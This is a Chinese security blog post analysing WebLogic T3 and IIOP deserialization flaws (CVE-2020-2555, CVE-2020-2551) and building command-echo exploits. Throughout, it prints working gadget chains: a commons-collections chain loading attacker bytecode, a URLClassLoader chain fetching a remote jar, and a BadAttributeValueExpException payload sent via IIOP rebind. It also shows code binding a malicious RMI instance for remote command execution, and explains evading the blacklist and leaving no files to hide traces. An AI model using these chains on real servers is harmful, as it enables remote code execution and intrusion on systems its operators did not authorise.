简介
传统weblogic T3协议回显分析
这里主要分析 https://github.com/5up3rc/weblogic_cmd这个工具回显利用工具。
private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
new ConstantTransformer(new HashSet())};
return transformers;
}通过common-collection相关gadget，想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。并绑定一个实例。
org.mozilla.classfile.DefiningClassLoader的定义如下
public Class defineClass(String var1, byte[] var2) { return super.defineClass(var1, var2, 0, var2.length);}这样就实现从字节码到类的转变。而我们需要发送的恶意类，主要作用是绑定一个实例，完成攻击者与weblogic的rmi交互即可。恶意类的绑定实例代码如下
RemoteImpl remote = new RemoteImpl();
Context ctx = new InitialContext();
ctx.rebind("aaaaaaaa", remote);
System.out.println("installed");RemoteImpl一定要继承自ClusterMasterRemote这个接口，才可以完成rmi交互。
下面我们向 weblogic12.1.4 发送一下payload测试一下
可以看出，weblogic早就通过黑名单过滤的方式，禁止该类工具的攻击。下面我们分析一下T3反序列化漏洞
T3反序列化分析
weblogic首先在moudle/com.oracle.weblogic.kernel.jar中 的ExexuteThread.class的run函数中监听7001的连接，并调用execute方法去处理请求，也就是req，如图
this.execute的代码如下
void execute(ExecuteRequest er) {
++this.executeCount;
this.setTimeStamp(System.currentTimeMillis());
er.execute(this);
} catch (ThreadDeath var3) {
// 各种捕获异常
}ExexuteThread中的executeCount为请求总数，随后调用er的execute去处理。也就是包装请求的类，这里为SocketReaderRequest。SocketReaderRequest主要为获取muter，然后调用processSockets去处理请求。
这里主要是通过Nio去处理请求，写入请求等，与漏洞分析的关系不太大。在这里将会根据请求，调用相应的协议处理请求，例如T3，http等
最后在SocketMuxer的readReadySocketOnce中，将请求全部读取完后，调用weblogic.rjvm.t3.MuxableSocketT3@7ec904fc:Socket[addr=/127.0.0.1,port=57524,localport=7001]的dispatch去处理分发请求。
最后会调用readObject去读取请求。如图
在serverChannelInputStream的resolvClass中，会对待反序列化的类检查一下是否为weblogic黑名单中的类，并防止该类反序列化。这里就是传说中的weblogic反序列化黑名单。
黑名单列表主要如下，相关代码位置在wlclient.jar/weblogic/utils/io/oif/WeblogicIbjectInputFilter.class中
classloader 加载器
即使我们使用其他gadget绕过，结果还是会报错，报错截图如下
说明weblogic 12.1.4 已经无法使用该类。但是现实情况下，我们又不可能直接上传一个文件，或者说为了执行无文件加载，以便更好隐藏痕迹。所以，这里我用URLClassLoader这个类，去加载远程jar包。当然，也算是无文件落地。代码截图如下
改成gadget利用方式代码如下。该gadget目标是触发待加载类的绑定功能，也就是test函数
ChainedExtractor chainedExtractor = new ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{URL[].class}}
),
new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}
),
new ReflectionExtractor(
"loadClass",
new Object[]{className}
),
new ReflectionExtractor(
"getMethod",
new Object[]{"test", new Class[]{}}
), new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[]{}}
)
});结论
- T3协议的传输主要基于java反序列化
- T3协议中，如果待反序列化中的任意一个类在黑名单列表，反序列化都会终止，并抛出异常
所以，我们想要在新版本weblogic实现回显，就有如下两个思路
- 可以绕过黑名单的gadget 例如cve-2020-2555
- 新的反序列化途径，根本就没有黑名单过滤，例如cve-2020-2551
T3回显方案(cve-2020-2555)
既然上面已经分析了，T3的话，我们可以使用cve-2020-2555的gadget去实现相关功能，最终触发恶意类的绑定函数，成功绑定一个实例，并可以实现执行命令，如图,
查看jndi绑定树
不足之处
该gadget无法在weblogic 10.3.6 下使用，因为找不到相关gadget的类，如图
IIop 回显方案（cve-2020-2551)
通过之前的分析，我们可以得出结论，weblogic的iiop反序列化不会使用weblogic黑名单。所以，通过iiop的反序列化漏洞+common-collection相关gadget可以实现通用版本的回显方案。这里需要注意，单纯在攻击端执行bind触发漏洞，是不会绑定一个实例的。即使绑定成功，也无法远程调用的。java反序列化不会传递类的代码和结构，只会传输类中的变量。所以这也就是我们为什么需要classloader的原因。
IIOP绑定实例
首先创建一个iiiop的context
String rhost = converUrl(host, port);
Hashtable<String, String> env = new Hashtable<>();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
return new InitialContext(env);然后构造2555或者common-collection的gadget，然后调用context的rebind发送反序列化对象，主要是调用恶意类的bind功能，恶意类的代码如下
gadget如下
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
System.out.println("CVE-2020-2555 Gadget构造成功，正在发送中...");
context.rebind("UnicodeSec" + System.nanoTime(), badAttributeValueExpException);执行成功后如下
当然这个是无回显的，所以我们需要获取远程对象，检查是否已经绑定成功。所以通过如下代码检测
try {
System.out.println("检查是否安装rmi实例");
Context initialContext = getInitialContext(converUrl(host, port));
ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup(bindName);
return remoteCode;
} catch (Exception e) {
if (e.getMessage() != null && e.getMessage().contains(bindName)) {
System.out.println("rmi实例不存在...正在安装中");IIOP 执行命令代码
绑定成功后，首先要获取刚才绑定的恶意类，绑定名称aaaaaaaa，通过initialContext.lookup函数查找。查找成功后，通过下面代码实现命令执行以及回显
String commandResponse = remoteCode.getServerLocation("showmecode" + command);
System.out.println("命令结果如下");
System.out.println(commandResponse);恶意类的getServerLocation如下
当然上述操作已经打包成工具，执行如下
参考:
感谢大佬关注公众号，不胜感激
powered by UnicodeSec
如有侵权请联系:admin#unsafe.sh